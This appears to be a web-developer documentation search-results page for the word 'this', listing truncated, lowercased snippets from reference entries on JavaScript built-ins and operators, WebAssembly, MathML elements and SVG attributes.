... property attributes of symbol.iterator writable no enumerable no configurable no examples user-defined iterables we can make our own iterables like
this: var myiterable = {} myiterable[symbol.iterator] = function* () { yield 1; yield 2; yield 3; }; [...myiterable] // [1, 2, 3] or iterables can be defined directly inside a class or object using a computed property: class foo { *[symbol.iterator] () { yield 1; yield 2; yield 3; } } const someobj = { *[symbol.iterator] () { yield 'a'; yield 'b'; } } [...
Symbol.species - JavaScript
the source for
this interactive example is stored in a github repository.
...the species symbol lets you do
this: class myarray extends array { // overwrite species to the parent array constructor static get [symbol.species]() { return array; } } let a = new myarray(1,2,3); let mapped = a.map(x => x * x); console.log(mapped instanceof myarray); // false console.log(mapped instanceof array); // true specifications specification ecmascript (ecma-262)the definition of 'symbol.s...
Symbol.split - JavaScript
this function is called by the string.prototype.split() method.
... the source for
this interactive example is stored in a github repository.
Symbol.unscopables - JavaScript
the source for
this interactive example is stored in a github repository.
...note that if using strict mode, with statements are not available and will likely also not need
this symbol.
TypedArray.prototype.buffer - JavaScript
the source for
this interactive example is stored in a github repository.
... description the buffer property is an accessor property whose set accessor function is undefined, meaning that you can only read
this property.
TypedArray.prototype.byteLength - JavaScript
the source for
this interactive example is stored in a github repository.
... description the bytelength property is an accessor property whose set accessor function is undefined, meaning that you can only read
this property.
TypedArray.prototype.length - JavaScript
the source for
this interactive example is stored in a github repository.
... description the length property is an accessor property whose set accessor function is undefined, meaning that you can only read
this property.
TypedArray.prototype.reduceRight() - JavaScript
this method has the same algorithm as array.prototype.reduceright().
... the call to the reduceright callback would look something like
this: typedarray.reduceright(function(previousvalue, currentvalue, index, typedarray) { // ...
TypedArray.prototype.set() - JavaScript
the source for
this interactive example is stored in a github repository.
...if
this value is omitted, 0 is assumed (that is, the source array will overwrite values in the target array starting at index 0).
TypedArray.prototype.sort() - JavaScript
this method has the same algorithm as array.prototype.sort(), except that sorts the values numerically instead of as strings.
... the source for
this interactive example is stored in a github repository.
WeakSet - JavaScript
note:
this also means that there is no list of current objects stored in the collection.
... weaksets are ideal for
this purpose: // execute a callback on everything stored inside an object function execrecursively(fn, subject, _refs = null){ if(!_refs) _refs = new weakset(); // avoid infinite recursion if(_refs.has(subject)) return; fn(subject); if("object" === typeof subject){ _refs.add(subject); for(let key in subject) execrecursively(fn, subject[key], _refs); } } const foo = { foo: "foo", bar: { bar: "bar" } }; foo.bar.baz = foo; // circular reference!
WebAssembly.Instance() constructor - JavaScript
console.log(arg); } } }; fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod = new webassembly.module(bytes); let instance = new webassembly.instance(mod, importobject); instance.exports.exported_func(); }) however, the preferred way to get an instance is through the asynchronous webassembly.instantiatestreaming() function, for example like
this: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); specifications specification webassembly javascript interfacethe definition of 'instance' in that specification.
... browser compatibility the compatibility table on
this page is generated from structured data.
WebAssembly.Instance.prototype.exports - JavaScript
var importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); note: you can also find
this example as instantiate-streaming.html on github (view it live also).
... browser compatibility the compatibility table on
this page is generated from structured data.
WebAssembly.Instance - JavaScript
n(arg) { console.log(arg); } } }; fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod = new webassembly.module(bytes); let instance = new webassembly.instance(mod, importobject); instance.exports.exported_func(); }) the preferred way to get an instance is asynchronously, for example using the webassembly.instantiatestreaming() function like
this: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func());
this also demonstrates how the exports property is used to access exported functions.
... browser compatibility the compatibility table on
this page is generated from structured data.
WebAssembly.Memory - JavaScript
you can create a shared memory by passing shared: true in the constructor's initialization object: let memory = new webassembly.memory({initial:10, maximum:100, shared: true});
this memory's buffer property will return a sharedarraybuffer.
... browser compatibility the compatibility table on
this page is generated from structured data.
WebAssembly.Module.exports() - JavaScript
imported_func: function(arg) { console.log(arg); } } }; onmessage = function(e) { console.log('module received from main thread'); var mod = e.data; webassembly.instantiate(mod, importobject).then(function(instance) { instance.exports.exported_func(); }); var exports = webassembly.module.exports(mod); console.log(exports[0]); }; the exports[0] output looks like
this: { name: "exported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'exports()' in that specification.
... browser compatibility the compatibility table on
this page is generated from structured data.
WebAssembly.Module - JavaScript
a webassembly.module object contains stateless webassembly code that has already been compiled by the browser —
this can be efficiently shared with workers, and instantiated multiple times.
... browser compatibility the compatibility table on
this page is generated from structured data.
WebAssembly.Table.prototype.get() - JavaScript
return value a function reference —
this is an exported webassembly function, a javascript wrapper for an underlying wasm function.
... browser compatibility the compatibility table on
this page is generated from structured data.
WebAssembly.compile() - JavaScript
this function is useful if it is necessary to a compile a module before it can be instantiated (otherwise, the webassembly.instantiate() function should be used).
... browser compatibility the compatibility table on
this page is generated from structured data.
WebAssembly.compileStreaming() - JavaScript
this function is useful if it is necessary to a compile a module before it can be instantiated (otherwise, the webassembly.instantiatestreaming() function should be used).
... browser compatibility the compatibility table on
this page is generated from structured data.
WebAssembly - JavaScript
this allows dynamic linking of multiple modules.
... browser compatibility the compatibility table on
this page is generated from structured data.
encodeURI() - JavaScript
the source for
this interactive example is stored in a github repository.
...note how certain characters are used to signify special meaning: http://username:password@www.example.com:80/path/to/file.php?foo=316&bar=
this+has+spaces#anchor hence encodeuri() does not encode characters that are necessary to formulate a complete uri.
encodeURIComponent() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this will encode "&" symbols that may inadvertently be generated during data entry for special html entities or other characters that require encoding/decoding.
escape() - JavaScript
warning: although escape() is not strictly deprecated (as in "removed from the web standards"), it is defined in annex b of the ecma-262 standard, whose introduction states: … all of the language features and behaviours specified in
this annex have one or more undesirable characteristics and in the absence of legacy usage would be removed from
this specification.
... note:
this function was used mostly for url queries (the part of a url following ?)—not for escaping ordinary string literals, which use the format "\xhh".
Exponentiation (**) - JavaScript
the source for
this interactive example is stored in a github repository.
...//
this is invalid in javascript, as the operation is ambiguous.
Greater than (>) - JavaScript
the source for
this interactive example is stored in a github repository.
...see the documentation for the less than operator for a summary of
this algorithm.
Greater than or equal (>=) - JavaScript
the source for
this interactive example is stored in a github repository.
...see the documentation for the less than operator for a summary of
this algorithm.
Grouping operator ( ) - JavaScript
the source for
this interactive example is stored in a github repository.
... var a = 1; var b = 2; var c = 3; // default precedence a + b * c // 7 // evaluated by default like
this a + (b * c) // 7 // now overriding precedence // addition before multiplication (a + b) * c // 9 // which is equivalent to a * c + b * c // 9 specifications specification ecmascript (ecma-262)the definition of 'the grouping operator' in that specification.
Inequality (!=) - JavaScript
the source for
this interactive example is stored in a github repository.
... like the equality operator, the inequality operator will attempt to convert and compare operands of different types: 3 != "3"; // false to prevent
this, and require that different types are considered to be different, use the strict inequality operator instead: 3 !== "3"; // true examples comparison with no type conversion 1 != 2; // true "hello" != "hola"; // true 1 != 1; // false "hello" != "hello"; // false comparison with type conversion "1" != 1; // false 1 != "1"; // false 0 != fa...
Left shift (<<) - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax a << b description
this operator shifts the first operand the specified number of bits to the left.
Less than or equal (<=) - JavaScript
the source for
this interactive example is stored in a github repository.
...see the documentation for the less than operator for a summary of
this algorithm.
Operator precedence - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is because the assignment operator returns the value that is assigned.
Pipeline operator (|>) - JavaScript
this allows the creation of chained function calls in a readable manner.
... the result is syntactic sugar in which a function call with a single argument can be written like
this: let url = "%21" |> decodeuri; the equivalent call in traditional syntax looks like
this: let url = decodeuri("%21"); syntax expression |> function the value of the specified expression is passed into the function as its sole parameter.
Right shift (>>) - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax a >> b description
this operator shifts the first operand the specified number of bits to the right.
Strict equality (===) - JavaScript
the source for
this interactive example is stored in a github repository.
... the most notable difference between
this operator and the equality (==) operator is that if the operands are of different types, the == operator attempts to convert them to the same type before comparing.
in operator - JavaScript
the source for
this interactive example is stored in a github repository.
... let empties = new array(3) empties[2] // returns undefined 2 in empties // returns false to avoid
this, make sure a new array is always filled with non-empty values or not write to indexes past the end of array.
Expressions and operators - JavaScript
this chapter documents all the javascript language operators, expressions and keywords.
...
this the
this keyword refers to a special property of an execution context.
block - JavaScript
the block is delimited by a pair of braces ("curly brackets") and may optionally be labelled: the source for
this interactive example is stored in a github repository.
...for example: var x = 1; { var x = 2; } console.log(x); // logs 2
this logs 2 because the var x statement within the block is in the same scope as the var x statement before the block.
break - JavaScript
the source for
this interactive example is stored in a github repository.
...if the statement is not a loop or switch,
this is required.
continue - JavaScript
the source for
this interactive example is stored in a github repository.
...in
this case, the continue statement needs to be nested within
this labeled statement.
do...while - JavaScript
the source for
this interactive example is stored in a github repository.
... var result = ''; var i = 0; do { i += 1; result += i + ' '; } while (i > 0 && i < 5); // despite i == 0
this will still loop as it starts off without the test console.log(result); specifications specification ecmascript (ecma-262)the definition of 'do-while statement' in that specification.
for...in - JavaScript
the source for
this interactive example is stored in a github repository.
... var triangle = {a: 1, b: 2, c: 3}; function coloredtriangle() {
this.color = 'red'; } coloredtriangle.prototype = triangle; var obj = new coloredtriangle(); for (const prop in obj) { if (obj.hasownproperty(prop)) { console.log(`obj.${prop} = ${obj[prop]}`); } } // output: // "obj.color = red" specifications specification ecmascript (ecma-262)the definition of 'for...in statement' in that specification.
function* - JavaScript
the source for
this interactive example is stored in a github repository.
... when a generator is finished, subsequent next() calls will not execute any of that generator's code, they will just return an object of
this form: {value: undefined, done: true}.
return - JavaScript
the source for
this interactive example is stored in a github repository.
... to avoid
this problem (to prevent asi), you could use parentheses: return ( a + b ); examples interrupt a function a function immediately stops at the point where return is called.
while - JavaScript
the source for
this interactive example is stored in a github repository.
...if
this condition evaluates to true, statement is executed.
serviceworker - Web app manifests
this is the only required member of the serviceworker member.
...
this is usually a relative url, relative to the base url of the application.
<math> - MathML
display
this enumerated attribute specifies how the enclosed mathml markup should be rendered.
... it can have one of the following values: block, which means that
this element will be displayed outside the current span of text, as a block that can be positioned anywhere without changing the meaning of the text; inline, which means that
this element will be displayed inside the current span of text, and cannot be moved out of it without changing the meaning of that text.
<merror> - MathML
in firefox
this error message is rendered similar to the typical xml error message.
... note that
this error is not thrown when your mathml markup is wrong or not well-formed xml.
<mglyph> - MathML
attributes alt
this attribute defines the alternative text describing the image.
... users will see
this displayed if the image url is wrong, the image is not in one of the supported formats, or until the image is downloaded.
<mlabeledtr> - MathML
columnalign overrides the horizontal alignment of cells specified by <mtable> for
this row.
... rowalign overrides the vertical alignment of cells specified by <mtable> for
this row.
<mmultiscripts> - MathML
this property is deprecated and will be removed in the future.
...
this property is deprecated and will be removed in the future.
<mstyle> - MathML
decimalpoint
this attribute is specifying the character for the alignment point within <mstack> and <mtable> columns, if the decimalpoint value is used to specify the alignment.
...
this attribute accepts a non-negative integer, as well as a "+" or a "-" sign, which increments or decrements the current value.
<msubsup> - MathML
this attribute is deprecated and will be removed in the future.
...
this attribute is deprecated and will be removed in the future.
<mtable> - MathML
if you want to use
this element as an inline-block, you might want to set <mtable displaystyle="true">...</mtable>.
...
this allows you to align the specified row of the table rather than the whole table.
MathML
here you'll find links to documentation, examples, and tools to help you work with
this powerful technology.
...to force mathjax to use native mathml, try
this mozilla add-on,
this safari extension or
this greasemonkey script.
Web API reference - Web technology reference
device apis
this set of apis allows access to various hardware features available to web pages and applications.
... data management apis user data can be stored and managed using
this set of apis.
additive - SVG: Scalable Vector Graphics
four elements are using
this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> usage notes value replace | sum default value replace animatable no sum specifies that the animation will add to the underlying value of the attribute and other lower priority animations.
...
this is the default, however the behavior is also affected by the animation value attributes by and to, as described in smil animation: how from, to and by attributes affect additive behavior.
baseProfile - SVG: Scalable Vector Graphics
each svg profile should define the text that is appropriate for
this attribute.
... only one element is using
this attribute: <svg> context notes value profile name default value none animatable no example <svg width="120" height="120" version="1.1" xmlns="http://www.w3.org/2000/svg" baseprofile="full"> ...
baseline-shift - SVG: Scalable Vector Graphics
note:
this property is going to be deprecated and authors are advised to use vertical-align instead.
... recommendation initial definition browser compatibility the compatibility table on
this page is generated from structured data.
clip - SVG: Scalable Vector Graphics
this attribute has the same parameter values as defined for the css clip property.
...0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- auto clipping --> <svg x="0" width="10" height="10" clip="auto"> <circle cx="5" cy="5" r="4" stroke="green" /> </svg> <!-- rect(top, right, bottom, left) clipping --> <svg x="10" width="10" height="10" clip="rect(1, 9, 8, 2)"> <circle cx="5" cy="5" r="4" stroke="green" /> </svg> </svg> usage notes warning:
this property is deprecated.
color-interpolation - SVG: Scalable Vector Graphics
this option indicates that the author doesn't require that color interpolation occur in a particular color space.
... recommendation initial definition browser compatibility the compatibility table on
this page is generated from structured data.
color-profile - SVG: Scalable Vector Graphics
this differs from auto in that it overrides an embedded profile inside an image.
... recommendation initial definition browser compatibility the compatibility table on
this page is generated from structured data.
color-rendering - SVG: Scalable Vector Graphics
in
this case, the svg user agent should perform color operations in a way that optimizes performance, which might mean sacrificing the color interpolation precision as specified by through the linearrgb value for color-interpolation-filters.
...for rgb display devices,
this option will sometimes cause the user agent to perform color interpolation and compositing in the device rgb color space.
contentScriptType - SVG: Scalable Vector Graphics
this attribute sets the default scripting language used to process the value strings in event attributes.
...
this language must be used for all instances of script that do not specify their own scripting language.
display - SVG: Scalable Vector Graphics
this means that any child of an element with display="none" will never be rendered even if the child has a value for display other than none.
...
this attribute also affects direct rendering into offscreen canvases, such as occurs with masks or clip paths.
divisor - SVG: Scalable Vector Graphics
only one element is using
this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 2 0 0 0 0 0 0 -1" divisor="1"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 2 0 0 0 0 0 0 -1" divisor="8"/> ...
... style="filter:url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix2); transform:translatex(220px);"/> </svg> usage notes value <number> default value sum of all values in kernelmatrix or 1 if sum is 0 animatable yes <number>
this value defines the divisor.
exponent - SVG: Scalable Vector Graphics
four elements are using
this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="gamma" exponent="1"/> <fefuncg type="gamma" exponent="1"/> <fefuncb type="gamma" exponent="1"/> </fecomponenttransfer>...
...#gradient)" style="filter: url(#componenttransfer1);" /> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes <number> if the type attribute of the component element is set to gamma,
this value specifies the exponent of the gamma function specifications specification status comment filter effects module level 1the definition of 'exponent' in that specification.
fill-rule - SVG: Scalable Vector Graphics
if
this number is odd, the point is inside; if even, the point is outside.
...90 h-90 z m130,20 h50 v50 h-50 z"/> <!-- effect of evenodd fill rule on a shape inside a shape with the path segment moving in opposite direction (one square drawn clockwise, the other anti-clockwise) --> <path fill-rule="evenodd" stroke="red" d="m210,0 h90 v90 h-90 z m230,20 v50 h50 v-50 z"/> </svg> browser compatibility the compatibility table on
this page is generated from structured data.
fill - SVG: Scalable Vector Graphics
for animation five elements are using
this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set>.
... recommendation initial definition for shapes and texts browser compatibility the compatibility table on
this page is generated from structured data.
filterRes - SVG: Scalable Vector Graphics
take care when assigning a non-default value to
this attribute.
... only one element is using
this attribute: <filter> usage notes value <number-optional-number> default value none animatable yes <number-optional-number>
this value takes one or two values, the first one outlining the resolution in horizontal direction, the second one in vertical direction.
format - SVG: Scalable Vector Graphics
two elements are using
this attribute: <altglyph> and <glyphref> context notes value <string> default value none animatable no <string>
this value specifies the format of the given font.
... here is a list of font formats and their strings that can be used as values for
this attribute: format string format truedoc-pfr truedoc™ portable font resource embedded-opentype embedded opentype type-1 postscript™ type 1 truetype truetype opentype opentype, including truetype open truetype-gx truetype with gx extensions speedo speedo intellifont intellifont specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'format for <glyphref>' in that specification.
from - SVG: Scalable Vector Graphics
four elements are using
this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" height="100"> <animate attributename="width" fill="freeze" from="100" to="150" dur="3s"/> </rect> </svg> usage notes value see below default value none animatable ...
... no the exact value type for
this attribute depends on the value of the attribute that will be animated.
glyph-orientation-horizontal - SVG: Scalable Vector Graphics
otherwise, if the value of
this attribute is not a multiple of 180 degrees, then the current text position is incremented according to the vertical metrics of the glyph.
...
this attribute is applied only to text written in a horizontal writing-mode.
k - SVG: Scalable Vector Graphics
this attribute is required.
... two elements are using
this attribute: <hkern> and <vkern> context notes value <number> default value none animatable no <number>
this value indicates the amount for decreasing the spacing between the two glyphs in the kerning pair.
keyPoints - SVG: Scalable Vector Graphics
five elements are using
this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <path d="m10,110 a120,120 -45 0,1 110 10 a120,120 -45 0,1 10,110" stroke="lightgrey" stroke-width="2" fill="none" id="motionpath"/> <circle cx="10" cy="110" r="3" fill="lightgrey"/> <circle cx="110" cy="10" r="3" fill="lightgrey"/> <circle r="5" fill="red"> <animatemotion dur="3s" repeatcount="indefinite" keypoints="0;0.5;1" keytimes="0;0.15;1" calcmode="linear"> <mpath xlink:href="#motionpath"/> </animatemotion> </circle> ...
...
this value defines a semicolon-separated list of floating point values between 0 and 1 and indicates how far along the motion path the object shall move at the moment in time specified by corresponding keytimes value.
keySplines - SVG: Scalable Vector Graphics
this attribute is ignored unless the calcmode attribute is set to spline.
... four elements are using
this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" calcmode="spline" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1" keysplines="0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1"/> <animate attributename="cy" dur="4s" calcmode="spline" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1" keysplines="0.5 0...
marker-end - SVG: Scalable Vector Graphics
in
this case, if the value of marker-start and marker-end are both not none, then two markers will be rendered on that final vertex.
... <marker-ref>
this value is a reference to a <marker> element, which will be drawn at the final vertex.
marker-start - SVG: Scalable Vector Graphics
in
this case, if the value of marker-start and marker-end are both not none, then two markers will be rendered on that final vertex.
... <marker-ref>
this value is a reference to a <marker> element, which will be drawn at the first vertex.
markerHeight - SVG: Scalable Vector Graphics
only one element is using
this attribute: <marker> usage notes value <length-percentage> | <number> default value 3 animatable yes <length-percentage>
this value defines either an absolute or a relative height of the marker.
... <number>
this value defines the height of the marker in the units defined by the markerunits attribute.
markerUnits - SVG: Scalable Vector Graphics
usage notes value userspaceonuse | strokewidth default value strokewidth animatable yes userspaceonuse
this value specifies that the markerwidth and markerunits attributes and the contents of the <marker> element represent values in the current user coordinate system in place for the graphic object referencing the marker (i.e., the user coordinate system for the element referencing the <marker> element via a marker, marker-start, marker-mid, or marker-end property).
... strokewidth
this value specifies that the markerwidth and markerunits attributes and the contents of the <marker> element represent values in a coordinate system which has a single unit equal the size in user units of the current stroke width (see the stroke-width attribute) in place for the graphic object referencing the marker.
markerWidth - SVG: Scalable Vector Graphics
only one element is using
this attribute: <marker> usage notes value <length-percentage> | <number> default value 3 animatable yes <length-percentage>
this value defines either an absolute or a relative width of the marker.
... <number>
this value defines the width of the marker in the units defined by the markerunits attribute.
order - SVG: Scalable Vector Graphics
only one element is using
this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="emboss1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -4" order="3"/> </filter> <filter id="emboss2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -4" order="1 1 1"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter:url(#emboss1);" /> <rect x="0" y="0" width="200" height="200" style="filter:url(#emb...
...oss2); transform: translatex(220px);" /> </svg> usage notes value <number-optional-number> default value 3 animatable yes <number-optional-number>
this value indicates the number of cells in each dimension for the kernel matrix.
orientation - SVG: Scalable Vector Graphics
only one element is using
this attribute: <glyph> usage notes value h | v default value none (meaning glyph can be used for both text directions) animatable yes h
this value indicates that the glyph is only used for a horizontal text direction.
... v
this value indicates that the glyph is only used for a vertical text direction.
panose-1 - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font-face> usage notes value <integer>{10} default value 0 0 0 0 0 0 0 0 0 0 animatable no <integer>{10}
this value specifies a panose-1 number and consists of ten decimal integers, separated by whitespace.
...all fonts will match the panose number if
this value is used.
primitiveUnits - SVG: Scalable Vector Graphics
only one element is using
this attribute: <filter> usage notes value userspaceonuse | objectboundingbox default value userspaceonuse animatable yes userspaceonuse
this value indicates that any length values within the filter definitions represent values in the current user coordinate system in place at the time when the <filter> element is referenced (i.e., the user coordinate system for the element referencing the <filter> element via a filter attribute).
... objectboundingbox
this value indicates that any length values within the filter definitions represent fractions or percentages of the bounding box on the referencing element.
repeatCount - SVG: Scalable Vector Graphics
five elements are using
this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="5"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="indefinite"/> </rect> </svg> usage notes value <number> | indefinite default value none animatable no <number>
this value specifies the numb...
... indefinite
this value indicates that the animation will be repeated indefinitely (i.e.
repeatDur - SVG: Scalable Vector Graphics
five elements are using
this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatdur="5s"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatdur="indefinite"/> </rect> </svg> usage notes value <clock-value> | indefinite default values none animatable no <clock-value>
this value specifies the...
... indefinite
this value indicates that the animation will be repeated indefinitely (i.e.
requiredExtensions - SVG: Scalable Vector Graphics
language extensions are capabilities within a user agent that go beyond the feature set defined in
this specification.
... note: if several extension reference objects are enclosed in a <switch> and none of them matches,
this may lead to situations where no content is displayed.
spacing - SVG: Scalable Vector Graphics
only one element is using
this attribute: <textpath> usage notes value auto | exact default value exact animatable yes auto
this value indicates that the user agent should use text-on-a-path layout algorithms to adjust the spacing between typographic characters in order to achieve visually appealing results.
... exact
this value indicates that the typographic characters should be rendered exactly according to the spacing rules as specified by the layout rules for text-on-a-path.
startOffset - SVG: Scalable Vector Graphics
only one element is using
this attribute: <textpath> html,body,svg { height:100% } <svg viewbox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"> <path id="path1" fill="none" stroke="red" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <path id="path2" fill="none" stroke="red" d="m130,90 q210,90 210,45 q210,10 170,10 q130,10 130,40 q130,70 165,70 q190,70 195,50" /> <text> <textpath href="#path1" startoffset="0"> quick brown fox jumps over the lazy dog.
... <number>
this value indicates a distance along the path measured in the current user coordinate system for the <textpath> element.
stemh - SVG: Scalable Vector Graphics
if
this attribute is used, the units-per-em must also be used.
... only one element is using
this attribute: <font-face> usage notes value <number> default value none animatable no <number>
this value indicates the horizontal stem width of the font.
stroke-opacity - SVG: Scalable Vector Graphics
to avoid
this effect, it is possible to apply a global opacity with the opacity attribute or to put the stroke behind the fill with the paint-order attribute.
... browser compatibility the compatibility table on
this page is generated from structured data.
tableValues - SVG: Scalable Vector Graphics
four elements are using
this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="table" tablevalues="0 1"/> <fefuncg type="table" tablevalues="...
...="url(#gradient)" style="filter: url(#componenttransfer1);" /> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <list-of-numbers> default value empty list resulting in identity transfer animatable yes <list-of-numbers>
this value holds a comma- and/or space-separated list of <number>s, which define a lookup table for the color component transfer function.
text-anchor - SVG: Scalable Vector Graphics
then, the text string is mapped onto the path with
this midpoint placed at the current text position.) end the rendered characters are shifted such that the end of the resulting rendered text (final current text position before applying the text-anchor property) is at the initial current text position.
... recommendation initial definition browser compatibility the compatibility table on
this page is generated from structured data.
textLength - SVG: Scalable Vector Graphics
four elements are using
this attribute: <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 200 60" xmlns="http://www.w3.org/2000/svg"> <text y="20" textlength="6em">small text length</text> <text y="40" textlength="120%">big text length</text> </svg> usage notes value <length-percentage> | <number> default value none animatable yes ...
... <length-percentage>
this value specifies the width of the space the text will be adjusted to occupy as absolute length or percentage.
values - SVG: Scalable Vector Graphics
five elements are using
this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <fecolormatrix> animate, animatecolor, animatemotion, animatetransform for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>, values is a list of values defining the sequence of values over the course of the animation.
... if
this attribute is specified, any from, to, and by attribute values set on the element are ignored.
viewBox - SVG: Scalable Vector Graphics
--> <circle cx="50%" cy="50%" r="4" fill="white"/> </svg> the exact effect of
this attribute is influenced by the preserveaspectratio attribute.
... five elements are using
this attribute: <marker>, <pattern>, <svg>, <symbol>, and <view>.
widths - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font-face> usage notes value <number> default value none animatable no <number>
this value is a comma-separated list of ucs range values as defined in iso 10646, each followed by one or more glyph widths.
... if
this attribute is used, the units-per-em attribute must also be used.
x1 - SVG: Scalable Vector Graphics
two elements are using
this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="5" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="9" x2="5" y1="1" y2="9" stroke="blue" /> </svg> line for <line>, x1 defines the x coordinate of the starting point of the line.
...the exact behavior of
this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 0% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector start at the left bounding limit of the shape it is applied to --> <lineargradient x1="0%...
x2 - SVG: Scalable Vector Graphics
two elements are using
this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="5" x2="1" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="5" x2="9" y1="1" y2="9" stroke="blue" /> </svg> line for <line>, x2 defines the x coordinate of the ending point of the line.
...the exact behavior of
this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 100% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector end at the right bounding limit of the shape it is applied to --> <lineargradient x2="1...
xlink:arcrole - SVG: Scalable Vector Graphics
this contextual role can differ from the meaning of the resource when taken outside the context of
this particular arc.
... for example, a resource might generically represent a "person," but in the context of a particular arc it might have the role of "mother" and in the context of a different arc it might have the role of "daughter." twentytwo elements are using
